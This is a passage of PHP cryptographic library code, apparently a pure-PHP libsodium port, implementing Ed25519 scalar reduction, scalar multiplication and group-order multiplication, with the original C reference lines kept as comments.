$carry3; $s3 -= $carry3 << 21; $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry11 = $s11 >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; /** * @var array */ $arr = array( (int) (0xff & ($s0 >> 0)), (int) (0xff & ($s0 >> 8)), (int) (0xff & (($s0 >> 16) | $s1 << 5)), (int) (0xff & ($s1 >> 3)), (int) (0xff & ($s1 >> 11)), (int) (0xff & (($s1 >> 19) | $s2 << 2)), (int) (0xff & ($s2 >> 6)), (int) (0xff & (($s2 >> 14) | $s3 << 7)), (int) (0xff & ($s3 >> 1)), (int) (0xff & ($s3 >> 9)), (int) (0xff & (($s3 >> 17) | $s4 << 4)), (int) (0xff & ($s4 >> 4)), (int) (0xff & ($s4 >> 12)), (int) (0xff & (($s4 >> 20) | $s5 << 1)), (int) (0xff & ($s5 >> 7)), (int) (0xff & (($s5 >> 15) | $s6 << 6)), (int) (0xff & ($s6 >> 2)), (int) (0xff & ($s6 >> 10)), (int) (0xff & (($s6 >> 18) | $s7 << 3)), (int) (0xff & ($s7 >> 5)), (int) (0xff & ($s7 >> 13)), (int) (0xff & ($s8 >> 0)), (int) (0xff & ($s8 >> 8)), (int) (0xff & (($s8 >> 16) | $s9 << 5)), (int) (0xff & ($s9 >> 3)), (int) (0xff & ($s9 >> 11)), (int) (0xff & (($s9 >> 19) | $s10 << 2)), (int) (0xff & ($s10 >> 6)), (int) (0xff & (($s10 >> 14) | $s11 << 7)), (int) (0xff & ($s11 >> 1)), (int) (0xff & ($s11 >> 9)), 0xff & ($s11 >> 17) ); return self::intArrayToString($arr); } /** * @internal You should not use this directly from another application * * @param string $s * @return string * @throws TypeError */ public static function sc_reduce($s) { $s0 = 2097151 & self::load_3(self::substr($s, 0, 3)); $s1 = 2097151 & (self::load_4(self::substr($s, 2, 4)) >> 5); $s2 = 2097151 & (self::load_3(self::substr($s, 5, 3)) >> 2); $s3 = 2097151 & (self::load_4(self::substr($s, 7, 4)) >> 7); $s4 = 2097151 & (self::load_4(self::substr($s, 10, 4)) >> 4); $s5 = 2097151 & (self::load_3(self::substr($s, 13, 3)) >> 1); $s6 = 2097151 & (self::load_4(self::substr($s, 15, 4)) >> 6); $s7 = 2097151 & (self::load_3(self::substr($s, 18, 4)) >> 3); $s8 = 2097151 & self::load_3(self::substr($s, 21, 3)); $s9 = 2097151 & (self::load_4(self::substr($s, 23, 4)) >> 5); $s10 = 2097151 & (self::load_3(self::substr($s, 26, 3)) >> 2); $s11 = 2097151 & (self::load_4(self::substr($s, 28, 4)) >> 7); $s12 = 2097151 & (self::load_4(self::substr($s, 31, 4)) >> 4); $s13 = 2097151 & (self::load_3(self::substr($s, 34, 3)) >> 1); $s14 = 2097151 & (self::load_4(self::substr($s, 36, 4)) >> 6); $s15 = 2097151 & (self::load_3(self::substr($s, 39, 4)) >> 3); $s16 = 2097151 & self::load_3(self::substr($s, 42, 3)); $s17 = 2097151 & (self::load_4(self::substr($s, 44, 4)) >> 5); $s18 = 2097151 & (self::load_3(self::substr($s, 47, 3)) >> 2); $s19 = 2097151 & (self::load_4(self::substr($s, 49, 4)) >> 7); $s20 = 2097151 & (self::load_4(self::substr($s, 52, 4)) >> 4); $s21 = 2097151 & (self::load_3(self::substr($s, 55, 3)) >> 1); $s22 = 2097151 & (self::load_4(self::substr($s, 57, 4)) >> 6); $s23 = 0x1fffffff & (self::load_4(self::substr($s, 60, 4)) >> 3); $s11 += self::mul($s23, 666643, 20); $s12 += self::mul($s23, 470296, 19); $s13 += self::mul($s23, 654183, 20); $s14 -= self::mul($s23, 997805, 20); $s15 += self::mul($s23, 136657, 18); $s16 -= self::mul($s23, 683901, 20); $s10 += self::mul($s22, 666643, 20); $s11 += self::mul($s22, 470296, 19); $s12 += self::mul($s22, 654183, 20); $s13 -= self::mul($s22, 997805, 20); $s14 += self::mul($s22, 136657, 18); $s15 -= self::mul($s22, 683901, 20); $s9 += self::mul($s21, 666643, 20); $s10 += self::mul($s21, 470296, 19); $s11 += self::mul($s21, 654183, 20); $s12 -= self::mul($s21, 997805, 20); $s13 += self::mul($s21, 136657, 18); $s14 -= self::mul($s21, 683901, 20); $s8 += self::mul($s20, 666643, 20); $s9 += self::mul($s20, 470296, 19); $s10 += self::mul($s20, 654183, 20); $s11 -= self::mul($s20, 997805, 20); $s12 += self::mul($s20, 136657, 18); $s13 -= self::mul($s20, 683901, 20); $s7 += self::mul($s19, 666643, 20); $s8 += self::mul($s19, 470296, 19); $s9 += self::mul($s19, 654183, 20); $s10 -= self::mul($s19, 997805, 20); $s11 += self::mul($s19, 136657, 18); $s12 -= self::mul($s19, 683901, 20); $s6 += self::mul($s18, 666643, 20); $s7 += self::mul($s18, 470296, 19); $s8 += self::mul($s18, 654183, 20); $s9 -= self::mul($s18, 997805, 20); $s10 += self::mul($s18, 136657, 18); $s11 -= self::mul($s18, 683901, 20); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; $s5 += self::mul($s17, 666643, 20); $s6 += self::mul($s17, 470296, 19); $s7 += self::mul($s17, 654183, 20); $s8 -= self::mul($s17, 997805, 20); $s9 += self::mul($s17, 136657, 18); $s10 -= self::mul($s17, 683901, 20); $s4 += self::mul($s16, 666643, 20); $s5 += self::mul($s16, 470296, 19); $s6 += self::mul($s16, 654183, 20); $s7 -= self::mul($s16, 997805, 20); $s8 += self::mul($s16, 136657, 18); $s9 -= self::mul($s16, 683901, 20); $s3 += self::mul($s15, 666643, 20); $s4 += self::mul($s15, 470296, 19); $s5 += self::mul($s15, 654183, 20); $s6 -= self::mul($s15, 997805, 20); $s7 += self::mul($s15, 136657, 18); $s8 -= self::mul($s15, 683901, 20); $s2 += self::mul($s14, 666643, 20); $s3 += self::mul($s14, 470296, 19); $s4 += self::mul($s14, 654183, 20); $s5 -= self::mul($s14, 997805, 20); $s6 += self::mul($s14, 136657, 18); $s7 -= self::mul($s14, 683901, 20); $s1 += self::mul($s13, 666643, 20); $s2 += self::mul($s13, 470296, 19); $s3 += self::mul($s13, 654183, 20); $s4 -= self::mul($s13, 997805, 20); $s5 += self::mul($s13, 136657, 18); $s6 -= self::mul($s13, 683901, 20); $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry11 = $s11 >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; /** * @var array */ $arr = array( (int) ($s0 >> 0), (int) ($s0 >> 8), (int) (($s0 >> 16) | $s1 << 5), (int) ($s1 >> 3), (int) ($s1 >> 11), (int) (($s1 >> 19) | $s2 << 2), (int) ($s2 >> 6), (int) (($s2 >> 14) | $s3 << 7), (int) ($s3 >> 1), (int) ($s3 >> 9), (int) (($s3 >> 17) | $s4 << 4), (int) ($s4 >> 4), (int) ($s4 >> 12), (int) (($s4 >> 20) | $s5 << 1), (int) ($s5 >> 7), (int) (($s5 >> 15) | $s6 << 6), (int) ($s6 >> 2), (int) ($s6 >> 10), (int) (($s6 >> 18) | $s7 << 3), (int) ($s7 >> 5), (int) ($s7 >> 13), (int) ($s8 >> 0), (int) ($s8 >> 8), (int) (($s8 >> 16) | $s9 << 5), (int) ($s9 >> 3), (int) ($s9 >> 11), (int) (($s9 >> 19) | $s10 << 2), (int) ($s10 >> 6), (int) (($s10 >> 14) | $s11 << 7), (int) ($s11 >> 1), (int) ($s11 >> 9), (int) $s11 >> 17 ); return self::intArrayToString($arr); } /** * multiply by the order of the main subgroup l = 2^252+27742317777372353535851937790883648493 * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 */ public static function ge_mul_l(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A) { $aslide = array( 13, 0, 0, 0, 0, -1, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, -5, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0, 0, 0, 0, 11, 0, 0, 0, 0, -13, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 3, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 7, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 ); /** @var array $Ai size 8 */ $Ai = array(); # ge_p3_to_cached(&Ai[0], A); $Ai[0] = self::ge_p3_to_cached($A); # ge_p3_dbl(&t, A); $t = self::ge_p3_dbl($A); # ge_p1p1_to_p3(&A2, &t); $A2 = self::ge_p1p1_to_p3($t); for ($i = 1; $i < 8; ++$i) { # ge_add(&t, &A2, &Ai[0]); $t = self::ge_add($A2, $Ai[$i - 1]); # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_p3_to_cached(&Ai[i], &u); $Ai[$i] = self::ge_p3_to_cached($u); } $r = self::ge_p3_0(); for ($i = 252; $i >= 0; --$i) { $t = self::ge_p3_dbl($r); if ($aslide[$i] > 0) { # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_add(&t, &u, &Ai[aslide[i] / 2]); $t = self::ge_add($u, $Ai[(int)($aslide[$i] / 2)]); } elseif ($aslide[$i] < 0) { # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]); $t = self::ge_sub($u, $Ai[(int)(-$aslide[$i] / 2)]); } } # ge_p1p1_to_p3(r, &t); return self::ge_p1p1_to_p3($t); } /** * @param string $a * @param string $b * @return string */ public static function sc25519_mul($a, $b) { // int64_t a0 = 2097151 & load_3(a); // int64_t a1 = 2097151 & (load_4(a + 2) >> 5); // int64_t a2 = 2097151 & (load_3(a + 5) >> 2); // int64_t a3 = 2097151 & (load_4(a + 7) >> 7); // int64_t a4 = 2097151 & (load_4(a + 10) >> 4); // int64_t a5 = 2097151 & (load_3(a + 13) >> 1); // int64_t a6 = 2097151 & (load_4(a + 15) >> 6); // int64_t a7 = 2097151 & (load_3(a + 18) >> 3); // int64_t a8 = 2097151 & load_3(a + 21); // int64_t a9 = 2097151 & (load_4(a + 23) >> 5); // int64_t a10 = 2097151 & (load_3(a + 26) >> 2); // int64_t a11 = (load_4(a + 28) >> 7); $a0 = 2097151 & self::load_3(self::substr($a, 0, 3)); $a1 = 2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5); $a2 = 2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2); $a3 = 2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7); $a4 = 2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4); $a5 = 2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1); $a6 = 2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6); $a7 = 2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3); $a8 = 2097151 & self::load_3(self::substr($a, 21, 3)); $a9 = 2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5); $a10 = 2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2); $a11 = (self::load_4(self::substr($a, 28, 4)) >> 7); // int64_t b0 = 2097151 & load_3(b); // int64_t b1 = 2097151 & (load_4(b + 2) >> 5); // int64_t b2 = 2097151 & (load_3(b + 5) >> 2); // int64_t b3 = 2097151 & (load_4(b + 7) >> 7); // int64_t b4 = 2097151 & (load_4(b + 10) >> 4); // int64_t b5 = 2097151 & (load_3(b + 13) >> 1); // int64_t b6 = 2097151 & (load_4(b + 15) >> 6); // int64_t b7 = 2097151 & (load_3(b + 18) >> 3); // int64_t b8 = 2097151 & load_3(b + 21); // int64_t b9 = 2097151 & (load_4(b + 23) >> 5); // int64_t b10 = 2097151 & (load_3(b + 26) >> 2); // int64_t b11 = (load_4(b + 28) >> 7); $b0 = 2097151 & self::load_3(self::substr($b, 0, 3)); $b1 = 2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5); $b2 = 2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2); $b3 = 2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7); $b4 = 2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4); $b5 = 2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1); $b6 = 2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6); $b7 = 2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3); $b8 = 2097151 & self::load_3(self::substr($b, 21, 3)); $b9 = 2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5); $b10 = 2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2); $b11 = (self::load_4(self::substr($b, 28, 4)) >> 7); // s0 = a0 * b0; // s1 = a0 * b1 + a1 * b0; // s2 = a0 * b2 + a1 * b1 + a2 * b0; // s3 = a0 * b3 + a1 * b2 + a2 * b1 + a3 * b0; // s4 = a0 * b4 + a1 * b3 + a2 * b2 + a3 * b1 + a4 * b0; // s5 = a0 * b5 + a1 * b4 + a2 * b3 + a3 * b2 + a4 * b1 + a5 * b0; // s6 = a0 * b6 + a1 * b5 + a2 * b4 + a3 * b3 + a4 * b2 + a5 * b1 + a6 * b0; // s7 = a0 * b7 + a1 * b6 + a2 * b5 + a3 * b4 + a4 * b3 + a5 * b2 + // a6 * b1 + a7 * b0; // s8 = a0 * b8 + a1 * b7 + a2 * b6 + a3 * b5 + a4 * b4 + a5 * b3 + // a6 * b2 + a7 * b1 + a8 * b0; // s9 = a0 * b9 + a1 * b8 + a2 * b7 + a3 * b6 + a4 * b5 + a5 * b4 + // a6 * b3 + a7 * b2 + a8 * b1 + a9 * b0; // s10 = a0 * b10 + a1 * b9 + a2 * b8 + a3 * b7 + a4 * b6 + a5 * b5 + // a6 * b4 + a7 * b3 + a8 * b2 + a9 * b1 + a10 * b0; // s11 = a0 * b11 + a1 * b10 + a2 * b9 + a3 * b8 + a4 * b7 + a5 * b6 + // a6 * b5 + a7 * b4 + a8 * b3 + a9 * b2 + a10 * b1 + a11 * b0; // s12 = a1 * b11 + a2 * b10 + a3 * b9 + a4 * b8 + a5 * b7 + a6 * b6 + // a7 * b5 + a8 * b4 + a9 * b3 + a10 * b2 + a11 * b1; // s13 = a2 * b11 + a3 * b10 + a4 * b9 + a5 * b8 + a6 * b7 + a7 * b6 + // a8 * b5 + a9 * b4 + a10 * b3 + a11 * b2; // s14 = a3 * b11 + a4 * b10 + a5 * b9 + a6 * b8 + a7 * b7 + a8 * b6 + // a9 * b5 + a10 * b4 + a11 * b3; // s15 = a4 * b11 + a5 * b10 + a6 * b9 + a7 * b8 + a8 * b7 + a9 * b6 + // a10 * b5 + a11 * b4; // s16 = // a5 * b11 + a6 * b10 + a7 * b9 + a8 * b8 + a9 * b7 + a10 * b6 + a11 * b5; // s17 = a6 * b11 + a7 * b10 + a8 * b9 + a9 * b8 + a10 * b7 + a11 * b6; // s18 = a7 * b11 + a8 * b10 + a9 * b9 + a10 * b8 + a11 * b7; // s19 = a8 * b11 + a9 * b10 + a10 * b9 + a11 * b8; // s20 = a9 * b11 + a10 * b10 + a11 * b9; // s21 = a10 * b11 + a11 * b10; // s22 = a11 * b11; // s23 = 0; $s0 = self::mul($a0, $b0, 22); $s1 = self::mul($a0, $b1, 22) + self::mul($a1, $b0, 22); $s2 = self::mul($a0, $b2, 22) + self::mul($a1, $b1, 22) + self::mul($a2, $b0, 22); $s3 = self::mul($a0, $b3, 22) + self::mul($a1, $b2, 22) + self::mul($a2, $b1, 22) + self::mul($a3, $b0, 22); $s4 = self::mul($a0, $b4, 22) + self::mul($a1, $b3, 22) + self::mul($a2, $b2, 22) + self::mul($a3, $b1, 22) + self::mul($a4, $b0, 22); $s5 = self::mul($a0, $b5, 22) + self::mul($a1, $b4, 22) + self::mul($a2, $b3, 22) + self::mul($a3, $b2, 22) + self::mul($a4, $b1, 22) + self::mul($a5, $b0, 22); $s6 = self::mul($a0, $b6, 22) + self::mul($a1, $b5, 22) + self::mul($a2, $b4, 22) + self::mul($a3, $b3, 22) + self::mul($a4, $b2, 22) + self::mul($a5, $b1, 22) + self::mul($a6, $b0, 22); $s7 = self::mul($a0, $b7, 22) + self::mul($a1, $b6, 22) + self::mul($a2, $b5, 22) + self::mul($a3, $b4, 22) + self::mul($a4, $b3, 22) + self::mul($a5, $b2, 22) + self::mul($a6, $b1, 22) + self::mul($a7, $b0, 22); $s8 = self::mul($a0, $b8, 22) + self::mul($a1, $b7, 22) + self::mul($a2, $b6, 22) + self::mul($a3, $b5, 22) + self::mul($a4, $b4, 22) + self::mul($a5, $b3, 22) + self::mul($a6, $b2, 22) + self::mul($a7, $b1, 22) + self::mul($a8, $b0, 22); $s9 = self::mul($a0, $b9, 22) + self::mul($a1, $b8, 22) + self::mul($a2, $b7, 22) + self::mul($a3, $b6, 22) + self::mul($a4, $b5, 22) + self::mul($a5, $b4, 22) + self::mul($a6, $b3, 22) + self::mul($a7, $b2, 22) + self::mul($a8, $b1, 22) + self::mul($a9, $b0, 22); $s10 = self::mul($a0, $b10, 22) + self::mul($a1, $b9, 22) + self::mul($a2, $b8, 22) + self::mul($a3, $b7, 22) + self::mul($a4, $b6, 22) + self::mul($a5, $b5, 22) + self::mul($a6, $b4, 22) + self::mul($a7, $b3, 22) + self::mul($a8, $b2, 22) + self::mul($a9, $b1, 22) + self::mul($a10, $b0, 22); $s11 = self::mul($a0, $b11, 22) + self::mul($a1, $b10, 22) + self::mul($a2, $b9, 22) + self::mul($a3, $b8, 22) + self::mul($a4, $b7, 22) + self::mul($a5, $b6, 22) + self::mul($a6, $b5, 22) + self::mul($a7, $b4, 22) + self::mul($a8, $b3, 22) + self::mul($a9, $b2, 22) + self::mul($a10, $b1, 22) + self::mul($a11, $b0, 22); $s12 = self::mul($a1, $b11, 22) + self::mul($a2, $b10, 22) + self::mul($a3, $b9, 22) + self::mul($a4, $b8, 22) + self::mul($a5, $b7, 22) + self::mul($a6, $b6, 22) + self::mul($a7, $b5, 22) + self::mul($a8, $b4, 22) + self::mul($a9, $b3, 22) + self::mul($a10, $b2, 22) + self::mul($a11, $b1, 22); $s13 = self::mul($a2, $b11, 22) + self::mul($a3, $b10, 22) + self::mul($a4, $b9, 22) + self::mul($a5, $b8, 22) + self::mul($a6, $b7, 22) + self::mul($a7, $b6, 22) + self::mul($a8, $b5, 22) + self::mul($a9, $b4, 22) + self::mul($a10, $b3, 22) + self::mul($a11, $b2, 22); $s14 = self::mul($a3, $b11, 22) + self::mul($a4, $b10, 22) + self::mul($a5, $b9, 22) + self::mul($a6, $b8, 22) + self::mul($a7, $b7, 22) + self::mul($a8, $b6, 22) + self::mul($a9, $b5, 22) + self::mul($a10, $b4, 22) + self::mul($a11, $b3, 22); $s15 = self::mul($a4, $b11, 22) + self::mul($a5, $b10, 22) + self::mul($a6, $b9, 22) + self::mul($a7, $b8, 22) + self::mul($a8, $b7, 22) + self::mul($a9, $b6, 22) + self::mul($a10, $b5, 22) + self::mul($a11, $b4, 22); $s16 = self::mul($a5, $b11, 22) + self::mul($a6, $b10, 22) + self::mul($a7, $b9, 22) + self::mul($a8, $b8, 22) + self::mul($a9, $b7, 22) + self::mul($a10, $b6, 22) + self::mul($a11, $b5, 22); $s17 = self::mul($a6, $b11, 22) + self::mul($a7, $b10, 22) + self::mul($a8, $b9, 22) + self::mul($a9, $b8, 22) + self::mul($a10, $b7, 22) + self::mul($a11, $b6, 22); $s18 = self::mul($a7, $b11, 22) + self::mul($a8, $b10, 22) + self::mul($a9, $b9, 22) + self::mul($a10, $b8, 22) + self::mul($a11, $b7, 22); $s19 = self::mul($a8, $b11, 22) + self::mul($a9, $b10, 22) + self::mul($a10, $b9, 22) + self::mul($a11, $b8, 22); $s20 = self::mul($a9, $b11, 22) + self::mul($a10, $b10, 22) + self::mul($a11, $b9, 22); $s21 = self::mul($a10, $b11, 22) + self::mul($a11, $b10, 22); $s22 = self::mul($a11, $b11, 22); $s23 = 0; // carry0 = (s0 + (int64_t) (1L << 20)) >> 21; // s1 += carry0; // s0 -= carry0 * ((uint64_t) 1L << 21); $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; // carry2 = (s2 + (int64_t) (1L << 20)) >> 21; // s3 += carry2; // s2 -= carry2 * ((uint64_t) 1L << 21); $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; // carry4 = (s4 + (int64_t) (1L << 20)) >> 21; // s5 += carry4; // s4 -= carry4 * ((uint64_t) 1L << 21); $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; // carry6 = (s6 + (int64_t) (1L << 20)) >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry8 = (s8 + (int64_t) (1L << 20)) >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry10 = (s10 + (int64_t) (1L << 20)) >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; // carry12 = (s12 + (int64_t) (1L << 20)) >> 21; // s13 += carry12; // s12 -= carry12 * ((uint64_t) 1L << 21); $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; // carry14 = (s14 + (int64_t) (1L << 20)) >> 21; // s15 += carry14; // s14 -= carry14 * ((uint64_t) 1L << 21); $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; // carry16 = (s16 + (int64_t) (1L << 20)) >> 21; // s17 += carry16; // s16 -= carry16 * ((uint64_t) 1L << 21); $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; // carry18 = (s18 + (int64_t) (1L << 20)) >> 21; // s19 += carry18; // s18 -= carry18 * ((uint64_t) 1L << 21); $carry18 = ($s18 + (1 << 20)) >> 21; $s19 += $carry18; $s18 -= $carry18 << 21; // carry20 = (s20 + (int64_t) (1L << 20)) >> 21; // s21 += carry20; // s20 -= carry20 * ((uint64_t) 1L << 21); $carry20 = ($s20 + (1 << 20)) >> 21; $s21 += $carry20; $s20 -= $carry20 << 21; // carry22 = (s22 + (int64_t) (1L << 20)) >> 21; // s23 += carry22; // s22 -= carry22 * ((uint64_t) 1L << 21); $carry22 = ($s22 + 